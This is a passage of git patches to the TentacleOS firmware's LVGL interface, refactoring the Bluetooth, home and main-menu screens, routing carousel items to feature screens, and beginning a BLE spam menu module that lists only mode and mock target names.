b/firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_menu.c index 4bd7d54b1..cc9307e7d 100644 --- a/firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_menu.c +++ b/firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_menu.c @@ -34,10 +34,11 @@ typedef struct { } ui_ble_menu_item_t; static const ui_ble_menu_item_t MENU_ITEMS[] = { - {"Companion App", NULL, SCREEN_COMPANION_PAIRING}, - {"Device Spam", NULL, SCREEN_BLE_SPAM_SELECT}, - {"Detect Devices", NULL, -1}, - {"Beacon Spam", NULL, -1}, + {"Companion App", "/assets/icons/app_icon.bin", SCREEN_COMPANION_PAIRING}, + {"MouseAir", "/assets/icons/mouse_icon.bin", SCREEN_BLE_MOUSE_PAIRING}, + {"Device Spam", "/assets/icons/burst_menu_icon.bin", SCREEN_BLE_SPAM_SELECT}, + {"Detect Devices", "/assets/icons/radar_icon.bin", SCREEN_BLE_SCAN}, + {"Beacon Spam", "/assets/icons/spam_icon.bin", -1}, }; #define MENU_ITEMS_COUNT (sizeof(MENU_ITEMS) / sizeof(MENU_ITEMS[0])) @@ -64,7 +65,7 @@ void ui_ble_menu_open(void) { lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - s_menu = menu_component_create(s_screen, "BLUETOOTH", NULL); + s_menu = menu_component_create(s_screen, "BLUETOOTH", "/assets/icons/bluetooth_icon.bin"); for (int i = 0; i < (int)MENU_ITEMS_COUNT; i++) { menu_component_add_item(&s_menu, MENU_ITEMS[i].icon, MENU_ITEMS[i].name); } @@ -73,7 +74,7 @@ void ui_ble_menu_open(void) { s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); } - lv_screen_load(s_screen); + ui_screen_load(s_screen); } static void nav_timer_cb(lv_timer_t *t) { @@ -87,10 +88,10 @@ static void nav_timer_cb(lv_timer_t *t) { return; } - bool up = up_button_is_down(); - bool down = down_button_is_down(); - bool left = left_button_is_down(); - bool right = right_button_is_down(); + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool left = ui_btn_left(); + bool right = ui_btn_right(); bool ok = ok_button_is_down(); bool back = back_button_is_down(); @@ -119,4 +120,4 @@ static void nav_timer_cb(lv_timer_t *t) { s_btn_right_last = right; s_btn_ok_last = ok; s_btn_back_last = back; -} \ No newline at end of file +} From 07c695c08f2ce29960f05a208e24f22c55ed09b0 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:23:36 -0300 Subject: [PATCH 134/572] refactor(ui): rebuild connect BT list on menu_component --- .../screens/connect_bluetooth/connect_bt_ui.c | 204 +++++++----------- 1 file changed, 75 insertions(+), 129 deletions(-) diff --git a/firmware_p4/components/Applications/ui/screens/connect_bluetooth/connect_bt_ui.c b/firmware_p4/components/Applications/ui/screens/connect_bluetooth/connect_bt_ui.c index d6bee2f79..722cdbb31 100644 --- a/firmware_p4/components/Applications/ui/screens/connect_bluetooth/connect_bt_ui.c +++ b/firmware_p4/components/Applications/ui/screens/connect_bluetooth/connect_bt_ui.c @@ -15,154 +15,100 @@ #include "connect_bt_ui.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" +#include -#include "core/lv_group.h" +#include "esp_log.h" -#include "bluetooth_service.h" -#include "footer_ui.h" -#include "header_ui.h" +#include "buttons_gpio.h" +#include "menu_component_ui.h" #include "ui_manager.h" #include "ui_theme.h" -#define BT_MENU_WIDTH 230 -#define BT_MENU_HEIGHT 160 -#define BT_MENU_OFFSET_Y 5 -#define BT_MENU_BORDER_WIDTH 2 -#define BT_MENU_PAD 4 -#define BT_ITEM_HEIGHT 40 -#define BT_ITEM_BORDER_WIDTH 1 -#define BT_ITEM_ICON_MARGIN 8 -#define BT_ITEM_PAIRED_MARGIN 5 -#define BT_SCAN_DELAY_MS 600 +static const char *TAG = "CONNECT_BT_UI"; -extern lv_group_t *main_group; +#define NAV_TIMER_MS 50 +#define PAIRED_DEVICE_COLOR_HEX 0x00E676 typedef struct { const char *name; - const char *symbol; bool is_paired; } bt_device_t; static const bt_device_t MOCK_DEVICES[] = { - {"PIXEL_BUDS_PRO", LV_SYMBOL_AUDIO, true}, - {"MECHANICAL_KB", LV_SYMBOL_KEYBOARD, true}, - {"UNKNOWN_PHONE", LV_SYMBOL_BLUETOOTH, false}, - {"SMART_WATCH_X", LV_SYMBOL_IMAGE, false}, + {"PIXEL_BUDS_PRO", true}, + {"MECHANICAL_KB", true}, + {"UNKNOWN_PHONE", false}, + {"SMART_WATCH_X", false}, }; -#define MOCK_DEVICES_COUNT (sizeof(MOCK_DEVICES) / sizeof(MOCK_DEVICES[0])) - -static lv_obj_t *s_screen_bt_list = NULL; -static lv_style_t s_style_menu; -static lv_style_t s_style_item; -static bool s_is_styles_initialized = false; +#define MOCK_DEVICES_COUNT ((int)(sizeof(MOCK_DEVICES) / sizeof(MOCK_DEVICES[0]))) + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; + +static bool s_btn_up_last = false; +static bool s_btn_down_last = false; +static bool s_btn_left_last = false; +static bool s_btn_right_last = false; +static bool s_btn_ok_last = false; +static bool s_btn_back_last = false; + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; -static void init_styles(void); -static void bt_item_event_cb(lv_event_t *e); + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool left = ui_btn_left(); + bool right = ui_btn_right(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + + if (down && !s_btn_down_last) + menu_component_next(&s_menu); + if (up && !s_btn_up_last) + menu_component_prev(&s_menu); + + if ((ok && !s_btn_ok_last) || (right && !s_btn_right_last) || (back && !s_btn_back_last) || + (left && !s_btn_left_last)) + ui_switch_screen(SCREEN_CONNECTION_SETTINGS); + + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; + s_btn_ok_last = ok; + s_btn_back_last = back; +} void ui_connect_bt_open(void) { - init_styles(); - - if (s_screen_bt_list != NULL) - lv_obj_del(s_screen_bt_list); - - s_screen_bt_list = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen_bt_list, current_theme.screen_base, 0); - lv_obj_clear_flag(s_screen_bt_list, LV_OBJ_FLAG_SCROLLABLE); - - header_ui_create(s_screen_bt_list); - footer_ui_create(s_screen_bt_list); - - lv_obj_t *menu = lv_obj_create(s_screen_bt_list); - lv_obj_set_size(menu, BT_MENU_WIDTH, BT_MENU_HEIGHT); - lv_obj_align(menu, LV_ALIGN_CENTER, 0, BT_MENU_OFFSET_Y); - lv_obj_add_style(menu, &s_style_menu, 0); - lv_obj_set_flex_flow(menu, LV_FLEX_FLOW_COLUMN); - lv_obj_set_scrollbar_mode(menu, LV_SCROLLBAR_MODE_OFF); - - lv_obj_t *loading_label = lv_label_create(menu); - lv_label_set_text(loading_label, "BUSCANDO DISPOSITIVOS..."); - lv_obj_set_style_text_color(loading_label, current_theme.text_main, 0); - lv_obj_set_width(loading_label, lv_pct(100)); - lv_obj_set_style_text_align(loading_label, LV_TEXT_ALIGN_CENTER, 0); - - lv_screen_load(s_screen_bt_list); - lv_refr_now(NULL); - - vTaskDelay(pdMS_TO_TICKS(BT_SCAN_DELAY_MS)); - - lv_obj_del(loading_label); - - for (size_t i = 0; i < MOCK_DEVICES_COUNT; i++) { - lv_obj_t *item = lv_obj_create(menu); - lv_obj_set_size(item, lv_pct(100), BT_ITEM_HEIGHT); - lv_obj_add_style(item, &s_style_item, 0); - lv_obj_set_flex_flow(item, LV_FLEX_FLOW_ROW); - lv_obj_set_flex_align(item, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); - lv_obj_clear_flag(item, LV_OBJ_FLAG_SCROLLABLE); - - lv_obj_t *icon = lv_label_create(item); - lv_label_set_text(icon, MOCK_DEVICES[i].symbol); - lv_obj_set_style_text_color(icon, current_theme.text_main, 0); - - lv_obj_t *lbl_name = lv_label_create(item); - lv_label_set_text(lbl_name, MOCK_DEVICES[i].name); - lv_obj_set_style_text_color(lbl_name, current_theme.text_main, 0); - lv_obj_set_flex_grow(lbl_name, 1); - lv_obj_set_style_margin_left(lbl_name, BT_ITEM_ICON_MARGIN, 0); - - if (MOCK_DEVICES[i].is_paired) { - lv_obj_t *paired_icon = lv_label_create(item); - lv_label_set_text(paired_icon, LV_SYMBOL_OK); - lv_obj_set_style_text_color(paired_icon, current_theme.text_main, 0); - lv_obj_set_style_margin_right(paired_icon, BT_ITEM_PAIRED_MARGIN, 0); - } - - lv_obj_add_event_cb(item, bt_item_event_cb, LV_EVENT_ALL, NULL); - - if (main_group != NULL) - lv_group_add_obj(main_group, item); + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; } -} -static void init_styles(void) { - if (s_is_styles_initialized) - return; + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - lv_style_init(&s_style_menu); - lv_style_set_bg_opa(&s_style_menu, LV_OPA_TRANSP); - lv_style_set_border_width(&s_style_menu, BT_MENU_BORDER_WIDTH); - lv_style_set_border_color(&s_style_menu, ui_theme_get_accent()); - lv_style_set_radius(&s_style_menu, 0); - lv_style_set_pad_all(&s_style_menu, BT_MENU_PAD); - lv_style_set_pad_row(&s_style_menu, BT_MENU_PAD); - - lv_style_init(&s_style_item); - lv_style_set_bg_color(&s_style_item, current_theme.bg_item_bot); - lv_style_set_bg_grad_color(&s_style_item, current_theme.bg_item_top); - lv_style_set_bg_grad_dir(&s_style_item, LV_GRAD_DIR_VER); - lv_style_set_border_width(&s_style_item, BT_ITEM_BORDER_WIDTH); - lv_style_set_border_color(&s_style_item, current_theme.border_inactive); - lv_style_set_radius(&s_style_item, 0); - - s_is_styles_initialized = true; -} + s_menu = menu_component_create(s_screen, "DEVICES", "/assets/icons/bluetooth_icon.bin"); + + for (int i = 0; i < MOCK_DEVICES_COUNT; i++) { + menu_component_add_item(&s_menu, NULL, MOCK_DEVICES[i].name); -static void bt_item_event_cb(lv_event_t *e) { - lv_event_code_t code = lv_event_get_code(e); - lv_obj_t *item = lv_event_get_target(e); - - if (code == LV_EVENT_FOCUSED) { - lv_obj_set_style_border_color(item, ui_theme_get_accent(), 0); - lv_obj_set_style_border_width(item, BT_MENU_BORDER_WIDTH, 0); - lv_obj_scroll_to_view(item, LV_ANIM_ON); - } else if (code == LV_EVENT_DEFOCUSED) { - lv_obj_set_style_border_color(item, current_theme.border_inactive, 0); - lv_obj_set_style_border_width(item, BT_ITEM_BORDER_WIDTH, 0); - } else if (code == LV_EVENT_KEY) { - uint32_t key = lv_event_get_key(e); - if (key == LV_KEY_ESC || key == LV_KEY_LEFT || key == LV_KEY_ENTER || key == LV_KEY_RIGHT) - ui_switch_screen(SCREEN_CONNECTION_SETTINGS); + if (MOCK_DEVICES[i].is_paired) + menu_component_set_item_label_color(&s_menu, i, lv_color_hex(PAIRED_DEVICE_COLOR_HEX)); } -} \ No newline at end of file + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); + ESP_LOGI(TAG, "BT device list opened (%d device(s))", MOCK_DEVICES_COUNT); +} From 659e151058aeedc56fe6180dec636f03dee9960f Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:24:05 -0300 Subject: [PATCH 135/572] feat(ui): add floating art and directional nav to home screen --- .../Applications/ui/screens/home/home_ui.c | 58 ++++++++++++++++++- 1 file changed, 56 insertions(+), 2 deletions(-) diff --git a/firmware_p4/components/Applications/ui/screens/home/home_ui.c b/firmware_p4/components/Applications/ui/screens/home/home_ui.c index f7ae0efbc..88ebfa06c 100644 --- a/firmware_p4/components/Applications/ui/screens/home/home_ui.c +++ b/firmware_p4/components/Applications/ui/screens/home/home_ui.c @@ -39,10 +39,18 @@ static const char *TAG = "HOME_UI"; #define HOME_ROTATION_LEFT 2700 #define HOME_ROTATION_RIGHT 900 +#define HOME_ART_ASSET "/assets/img/image.bin" +#define HOME_FLOAT_AMP 7 +#define HOME_FLOAT_MS 1300 + static lv_obj_t *s_screen_home = NULL; static void home_event_cb(lv_event_t *e); +static void home_float_cb(void *var, int32_t v) { + lv_obj_set_style_translate_y((lv_obj_t *)var, v, 0); +} + void ui_home_open(void) { if (s_screen_home != NULL) { lv_obj_del(s_screen_home); @@ -90,6 +98,48 @@ void ui_home_open(void) { lv_obj_align(s_push_icons[3], LV_ALIGN_RIGHT_MID, h / 2, 0); dropdown_ui_register_hide_objs(s_push_icons, HOME_PUSH_ICON_COUNT); + } else { + static const struct { + const char *sym; + int dx; + int dy; + } dirs[HOME_PUSH_ICON_COUNT] = { + {LV_SYMBOL_UP, 0, -64}, + {LV_SYMBOL_DOWN, 0, 64}, + {LV_SYMBOL_LEFT, -64, 0}, + {LV_SYMBOL_RIGHT, 64, 0}, + }; + + for (int i = 0; i < HOME_PUSH_ICON_COUNT; i++) { + lv_obj_t *arrow = lv_label_create(s_screen_home); + lv_label_set_text(arrow, dirs[i].sym); + lv_obj_set_style_text_color(arrow, current_theme.border_accent, 0); + lv_obj_set_style_text_font(arrow, &lv_font_montserrat_14, 0); + lv_obj_align(arrow, LV_ALIGN_CENTER, dirs[i].dx, dirs[i].dy); + } + } + + static lv_image_dsc_t *s_art_dsc = NULL; + if (s_art_dsc == NULL) + s_art_dsc = assets_get(HOME_ART_ASSET); + if (s_art_dsc != NULL) { + lv_obj_t *art = lv_image_create(s_screen_home); + lv_image_set_src(art, s_art_dsc); + + lv_image_set_pivot(art, s_art_dsc->header.w / 2, s_art_dsc->header.h / 2); + lv_image_set_scale(art, 373); + lv_obj_align(art, LV_ALIGN_CENTER, 0, 0); + + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, art); + lv_anim_set_exec_cb(&a, home_float_cb); + lv_anim_set_values(&a, -HOME_FLOAT_AMP, HOME_FLOAT_AMP); + lv_anim_set_duration(&a, HOME_FLOAT_MS); + lv_anim_set_playback_duration(&a, HOME_FLOAT_MS); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); + lv_anim_start(&a); } lv_obj_add_event_cb(s_screen_home, home_event_cb, LV_EVENT_KEY, NULL); @@ -99,7 +149,7 @@ void ui_home_open(void) { lv_group_focus_obj(s_screen_home); } - lv_screen_load(s_screen_home); + ui_screen_load(s_screen_home); } static void home_event_cb(lv_event_t *e) { @@ -112,5 +162,9 @@ static void home_event_cb(lv_event_t *e) { uint32_t key = lv_event_get_key(e); if (key == LV_KEY_RIGHT) ui_switch_screen(SCREEN_MENU); + else if (key == LV_KEY_DOWN) + ui_switch_screen(SCREEN_SETTINGS); + else if (key == LV_KEY_LEFT) + ui_switch_screen(SCREEN_OCTOBIT_STATUS); } -} \ No newline at end of file +} From 628c39d60d9197a121b890eff26d4214de43c4f2 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:24:22 -0300 Subject: [PATCH 136/572] feat(ui): route menu carousel items to target screens with bob animation --- .../Applications/ui/screens/menu/menu_ui.c | 181 +++++++++++------- 1 file changed, 109 insertions(+), 72 deletions(-) diff --git a/firmware_p4/components/Applications/ui/screens/menu/menu_ui.c b/firmware_p4/components/Applications/ui/screens/menu/menu_ui.c index 7325727f4..403cc419a 100644 --- a/firmware_p4/components/Applications/ui/screens/menu/menu_ui.c +++ b/firmware_p4/components/Applications/ui/screens/menu/menu_ui.c @@ -22,6 +22,7 @@ #include "home_ui.h" #include "header_ui.h" +#include "ui_feedback.h" #include "ui_theme.h" #include "ui_manager.h" #include "lv_port_indev.h" @@ -40,7 +41,6 @@ static const char *TAG = "UI_MENU"; #define LABEL_OFFSET_Y (-40) #define DOTS_OFFSET_Y (-20) -// Carousel position table: far-left, left, center, right, far-right static const int32_t CAROUSEL_PX[] = {-120, -75, 0, 75, 120}; static const int32_t CAROUSEL_PY[] = {-25, -12, 0, -12, -25}; static const int32_t CAROUSEL_SC[] = {128, 184, 280, 184, 128}; @@ -55,103 +55,119 @@ typedef struct { const char *base_frames[MENU_ITEM_FRAME_COUNT]; lv_image_dsc_t *icon_dscs[MENU_ITEM_FRAME_COUNT]; lv_image_dsc_t *base_dscs[MENU_ITEM_FRAME_COUNT]; + screen_id_t target; } menu_ui_item_t; +#define BASE_FRAMES \ + {"/assets/frames/base_frame_0.bin", \ + "/assets/frames/base_frame_1.bin", \ + "/assets/frames/base_frame_2.bin"} + static menu_ui_item_t s_menu_data[] = { {"WIFI", {"/assets/frames/wifi_frame_0.bin", "/assets/frames/wifi_frame_1.bin", "/assets/frames/wifi_frame_2.bin"}, - {"/assets/frames/base_frame_0.bin", - "/assets/frames/base_frame_1.bin", - "/assets/frames/base_frame_2.bin"}, + BASE_FRAMES, + {NULL}, {NULL}, - {NULL}}, + SCREEN_WIFI_MENU}, {"BLUETOOTH", {"/assets/frames/ble_frame_0.bin", "/assets/frames/ble_frame_1.bin", "/assets/frames/ble_frame_2.bin"}, - {"/assets/frames/base_frame_0.bin", - "/assets/frames/base_frame_1.bin", - "/assets/frames/base_frame_2.bin"}, + BASE_FRAMES, {NULL}, - {NULL}}, + {NULL}, + SCREEN_BLE_MENU}, {"NFC", {"/assets/frames/nfc_frame_0.bin", "/assets/frames/nfc_frame_1.bin", "/assets/frames/nfc_frame_2.bin"}, - {"/assets/frames/base_frame_0.bin", - "/assets/frames/base_frame_1.bin", - "/assets/frames/base_frame_2.bin"}, + BASE_FRAMES, + {NULL}, {NULL}, - {NULL}}, + SCREEN_NFC_MENU}, + {"RFID", + {"/assets/frames/rfid_frame_0.bin", + "/assets/frames/rfid_frame_1.bin", + "/assets/frames/rfid_frame_2.bin"}, + BASE_FRAMES, + {NULL}, + {NULL}, + SCREEN_RFID_MENU}, {"INFRARED", {"/assets/frames/ir_frame_0.bin", "/assets/frames/ir_frame_1.bin", "/assets/frames/ir_frame_2.bin"}, - {"/assets/frames/base_frame_0.bin", - "/assets/frames/base_frame_1.bin", - "/assets/frames/base_frame_2.bin"}, + BASE_FRAMES, {NULL}, - {NULL}}, + {NULL}, + SCREEN_IR_MENU}, {"SUB-GHZ", {"/assets/frames/subghz_frame_0.bin", "/assets/frames/subghz_frame_1.bin", "/assets/frames/subghz_frame_2.bin"}, - {"/assets/frames/base_frame_0.bin", - "/assets/frames/base_frame_1.bin", - "/assets/frames/base_frame_2.bin"}, + BASE_FRAMES, + {NULL}, {NULL}, - {NULL}}, + SCREEN_SUBGHZ_MENU}, {"LORA", {"/assets/frames/lora_frame_0.bin", "/assets/frames/lora_frame_1.bin", "/assets/frames/lora_frame_2.bin"}, - {"/assets/frames/base_frame_0.bin", - "/assets/frames/base_frame_1.bin", - "/assets/frames/base_frame_2.bin"}, + BASE_FRAMES, {NULL}, - {NULL}}, + {NULL}, + SCREEN_LORA_CHAT}, + {"BADUSB", + {"/assets/frames/usb_frame_0.bin", + "/assets/frames/usb_frame_1.bin", + "/assets/frames/usb_frame_2.bin"}, + BASE_FRAMES, + {NULL}, + {NULL}, + SCREEN_BADUSB_MENU}, {"GPIO", {"/assets/frames/gpios_frame_0.bin", "/assets/frames/gpios_frame_1.bin", "/assets/frames/gpios_frame_2.bin"}, - {"/assets/frames/base_frame_0.bin", - "/assets/frames/base_frame_1.bin", - "/assets/frames/base_frame_2.bin"}, + BASE_FRAMES, + {NULL}, {NULL}, - {NULL}}, + SCREEN_GPIO}, {"CONFIGURATION", {"/assets/frames/config_frame_0.bin", "/assets/frames/config_frame_1.bin", "/assets/frames/config_frame_2.bin"}, - {"/assets/frames/base_frame_0.bin", - "/assets/frames/base_frame_1.bin", - "/assets/frames/base_frame_2.bin"}, + BASE_FRAMES, {NULL}, - {NULL}}, + {NULL}, + SCREEN_SETTINGS}, {"FILES", {"/assets/frames/file_frame_0.bin", "/assets/frames/file_frame_1.bin", "/assets/frames/file_frame_2.bin"}, - {"/assets/frames/base_frame_0.bin", - "/assets/frames/base_frame_1.bin", - "/assets/frames/base_frame_2.bin"}, + BASE_FRAMES, + {NULL}, {NULL}, - {NULL}}, + SCREEN_FILES}, {"APPS", {"/assets/frames/apps_frame_0.bin", "/assets/frames/apps_frame_1.bin", "/assets/frames/apps_frame_2.bin"}, - {"/assets/frames/base_frame_0.bin", - "/assets/frames/base_frame_1.bin", - "/assets/frames/base_frame_2.bin"}, + BASE_FRAMES, {NULL}, - {NULL}}, + {NULL}, + SCREEN_GAMES_MENU}, + {"dev", {NULL, NULL, NULL}, BASE_FRAMES, {NULL}, {NULL}, SCREEN_DEV_MENU}, }; extern lv_group_t *main_group; +#define BOB_AMP_PX 4 +#define BOB_MS 1200 + static lv_obj_t *s_screen = NULL; static lv_obj_t *s_label = NULL; static lv_obj_t *s_base_imgs[MENU_ITEM_COUNT]; @@ -160,6 +176,7 @@ static page_dots_t s_page_dots; static uint8_t s_selected = 0; static lv_font_t *s_font = NULL; static bool s_is_animating = false; +static int s_bob_item = -1; static int32_t carousel_slot(size_t item_idx); static void load_item_frame(size_t item_idx, int frame); @@ -178,14 +195,49 @@ static int32_t carousel_slot(size_t item_idx) { return (slot >= 0 && slot < CAROUSEL_SLOTS) ? slot : -1; } +static void bob_exec_cb(void *var, int32_t v) { + lv_obj_set_style_translate_y((lv_obj_t *)var, v, 0); +} + +static void stop_bob(void) { + if (s_bob_item < 0) + return; + lv_anim_delete(s_base_imgs[s_bob_item], bob_exec_cb); + lv_anim_delete(s_icon_imgs[s_bob_item], bob_exec_cb); + lv_obj_set_style_translate_y(s_base_imgs[s_bob_item], 0, 0); + lv_obj_set_style_translate_y(s_icon_imgs[s_bob_item], 0, 0); + s_bob_item = -1; +} + +static void start_bob(size_t item_idx) { + stop_bob(); + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_exec_cb(&a, bob_exec_cb); + lv_anim_set_values(&a, -BOB_AMP_PX, BOB_AMP_PX); + lv_anim_set_duration(&a, BOB_MS); + lv_anim_set_playback_duration(&a, BOB_MS); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); + lv_anim_set_var(&a, s_base_imgs[item_idx]); + lv_anim_start(&a); + lv_anim_set_var(&a, s_icon_imgs[item_idx]); + lv_anim_start(&a); + s_bob_item = (int)item_idx; +} + static void on_anim_done(lv_anim_t *a) { s_is_animating = false; + + start_bob(s_selected); } static void load_item_frame(size_t item_idx, int frame) { - if (s_menu_data[item_idx].icon_dscs[frame] == NULL) + if (s_menu_data[item_idx].icon_frames[frame] != NULL && + s_menu_data[item_idx].icon_dscs[frame] == NULL) s_menu_data[item_idx].icon_dscs[frame] = assets_get(s_menu_data[item_idx].icon_frames[frame]); - if (s_menu_data[item_idx].base_dscs[frame] == NULL) + if (s_menu_data[item_idx].base_frames[frame] != NULL && + s_menu_data[item_idx].base_dscs[frame] == NULL) s_menu_data[item_idx].base_dscs[frame] = assets_get(s_menu_data[item_idx].base_frames[frame]); } @@ -295,7 +347,6 @@ static void fix_z_order(void) { } } - // Insertion sort by z ascending for (size_t i = 0; i < count - 1; i++) { for (size_t j = i + 1; j < count; j++) { if (visible[i].z > visible[j].z) { @@ -346,11 +397,14 @@ static void on_key_event(lv_event_t *e) { return; s_is_animating = true; + stop_bob(); + if (k == LV_KEY_RIGHT) s_selected = (s_selected + 1) % n; else s_selected = (s_selected == 0) ? (uint8_t)(n - 1) : s_selected - 1; + ui_feedback(UI_FB_NAV); update_view(true); return; } @@ -361,29 +415,7 @@ static void on_key_event(lv_event_t *e) { } if (k == LV_KEY_ENTER) { - switch (s_selected) { - case 0: - ui_switch_screen(SCREEN_WIFI_MENU); - break; - case 1: - ui_switch_screen(SCREEN_BLE_MENU); - break; - case 2: - ui_switch_screen(SCREEN_NFC_MENU); - break; - case 3: - ui_switch_screen(SCREEN_IR_MENU); - break; - case 7: - ui_switch_screen(SCREEN_SETTINGS); - break; - case 8: - ui_switch_screen(SCREEN_FILES); - break; - default: - ESP_LOGW(TAG, "No screen mapped for menu item %u", (unsigned)s_selected); - break; - } + ui_switch_screen(s_menu_data[s_selected].target); } } @@ -395,7 +427,8 @@ void ui_menu_open(void) { s_is_animating = false; - // Invalidate cached asset pointers — may be stale after a theme change + s_bob_item = -1; + for (size_t i = 0; i < MENU_ITEM_COUNT; i++) { for (int f = 0; f < MENU_ITEM_FRAME_COUNT; f++) { s_menu_data[i].icon_dscs[f] = NULL; @@ -404,7 +437,8 @@ void ui_menu_open(void) { } s_screen = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + + lv_obj_set_style_bg_color(s_screen, lv_color_hex(0x000000), 0); lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); @@ -423,13 +457,16 @@ void ui_menu_open(void) { s_label = lv_label_create(s_screen); lv_obj_align(s_label, LV_ALIGN_BOTTOM_MID, 0, LABEL_OFFSET_Y); + lv_obj_set_style_text_color(s_label, current_theme.text_main, 0); - lv_obj_set_style_text_font(s_label, s_font != NULL ? s_font : &lv_font_montserrat_14, 0); + lv_obj_set_style_text_font(s_label, &lv_font_montserrat_14, 0); s_page_dots = page_dots_create(s_screen, MENU_ITEM_COUNT, LV_ALIGN_BOTTOM_MID, 0, DOTS_OFFSET_Y); update_view(false); + start_bob(s_selected); + lv_obj_add_event_cb(s_screen, on_key_event, LV_EVENT_KEY, NULL); if (main_group != NULL) { @@ -437,5 +474,5 @@ void ui_menu_open(void) { lv_group_focus_obj(s_screen); } - lv_screen_load(s_screen); -} \ No newline at end of file + ui_screen_load(s_screen); +} From 57d8f75e84a7d55ba1205094a37512acd6f8bf41 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:26:37 -0300 Subject: [PATCH 137/572] refactor(ui): consolidate spam running + select into ble_spam_ui module --- .../ui/screens/bluetooth/ble_spam_ui.c | 318 ++++++++++++++++++ .../screens/bluetooth/include/ble_spam_ui.h | 33 ++ .../ui/screens/bluetooth/ui_ble_spam.c | 97 ------ .../ui/screens/bluetooth/ui_ble_spam_select.c | 200 ----------- 4 files changed, 351 insertions(+), 297 deletions(-) create mode 100644 firmware_p4/components/Applications/ui/screens/bluetooth/ble_spam_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/bluetooth/include/ble_spam_ui.h delete mode 100644 firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_spam.c delete mode 100644 firmware_p4/components/Applications/ui/screens/bluetooth/ui_ble_spam_select.c diff --git a/firmware_p4/components/Applications/ui/screens/bluetooth/ble_spam_ui.c b/firmware_p4/components/Applications/ui/screens/bluetooth/ble_spam_ui.c new file mode 100644 index 000000000..2f57ae70c --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/bluetooth/ble_spam_ui.c @@ -0,0 +1,318 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ble_spam_ui.h" + +#include "lvgl.h" +#include "st7789.h" + +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "ui_chrome.h" +#include "ui_manager.h" +#include "ui_theme.h" +#include "waves_ui.h" + +#define NAV_TIMER_INTERVAL_MS 50 +#define SPAM_TICK_MS 120 +#define TARGET_CYCLE_MS 500 + +#define OUTER_BORDER 4 +#define TOP_BORDER_H 46 +#define TOP_AREA_BORDER_WIDTH 3 +#define TITLE_BAR_W 170 +#define TITLE_BAR_H 30 +#define TITLE_BAR_RADIUS 12 +#define TITLE_BAR_BORDER_WIDTH 2 + +static const char *const SPAM_ITEMS[] = { + "Apple Juice", + "SourApple", + "Android", + "Windows Swift", + "All", +}; +#define SPAM_ITEMS_COUNT (sizeof(SPAM_ITEMS) / sizeof(SPAM_ITEMS[0])) + +static const char *const SPAM_TARGETS[] = { + "iPhone 14", + "AirPods Pro", + "Galaxy Buds", + "MacBook", + "Mi Band", +}; +#define SPAM_TARGETS_COUNT (sizeof(SPAM_TARGETS) / sizeof(SPAM_TARGETS[0])) + +static int s_spam_mode = 0; + +static lv_obj_t *s_select_screen = NULL; +static menu_component_t s_select_menu; +static lv_timer_t *s_select_nav_timer = NULL; + +static bool s_sel_up_last = false; +static bool s_sel_down_last = false; +static bool s_sel_ok_last = false; +static bool s_sel_back_last = false; +static bool s_sel_left_last = false; + +static void select_nav_timer_cb(lv_timer_t *timer); + +void ui_ble_spam_select_open(void) { + if (s_select_screen != NULL) { + lv_obj_del(s_select_screen); + s_select_screen = NULL; + } + + s_select_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_select_screen, current_theme.screen_base, 0); + 